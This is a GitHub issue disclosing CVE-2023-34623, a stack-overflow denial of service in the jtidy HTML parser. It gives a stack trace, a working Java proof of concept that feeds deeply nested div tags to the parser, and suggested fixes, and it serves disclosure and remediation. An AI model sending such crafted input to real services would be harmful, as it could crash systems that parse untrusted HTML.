CVE-2023-34623: Stack overflow error caused by jtidy parsing of untrusted Html String · Issue #4 · trajano/jtidy

Stack overflow error caused by jtidy parsing of untrusted Html String****Description

Using jtidy to parse untrusted Html String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Error Log

Exception in thread "main" java.lang.StackOverflowError
    at java.base/java.nio.charset.Charset.lookup(Charset.java:457)
    at java.base/java.nio.charset.Charset.isSupported(Charset.java:503)
    at java.base/java.lang.StringCoding.lookupCharset(StringCoding.java:101)
    at java.base/java.lang.StringCoding.decode(StringCoding.java:234)
    at java.base/java.lang.String.<init>(String.java:467)
    at org.w3c.tidy.TidyUtils.getString(TidyUtils.java:658)
    at org.w3c.tidy.Lexer.getToken(Lexer.java:2343)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2051)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
    at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
    at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)

PoC

    <dependency\>
        <groupId\>net.sf.jtidy</groupId\>
        <artifactId\>jtidy</artifactId\>
        <version\>r938</version\>
    </dependency\>

import org.w3c.tidy.Tidy;

import java.io.StringReader;

public class PoC { public final static int TOO_DEEP_NESTING = 9999; public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "<div>", "</div>", “”);

public static String \_nestedDoc(int nesting, String open, String close, String content) {
    StringBuilder sb = new StringBuilder(nesting \* (open.length() + close.length()));
    for (int i = 0; i < nesting; ++i) {
        sb.append(open);
        if ((i & 31) == 0) {
            sb.append("\\n");
        }
    }
    sb.append("\\n").append(content).append("\\n");
    for (int i = 0; i < nesting; ++i) {
        sb.append(close);
        if ((i & 31) == 0) {
            sb.append("\\n");
        }
    }
    return sb.toString();
}

public static void main(String\[\] args) {
    String htmlData = TOO\_DEEP\_DOC;
    try (StringReader stringReader = new StringReader(htmlData);){
        Tidy tidy = new Tidy();
        tidy.parse(stringReader, System.out);
    } catch (Exception e) {
    }
}

}

Rectification Solution

1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)

2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（google/gson@2d01d6a20f39881c692977564c1ea591d9f39027）)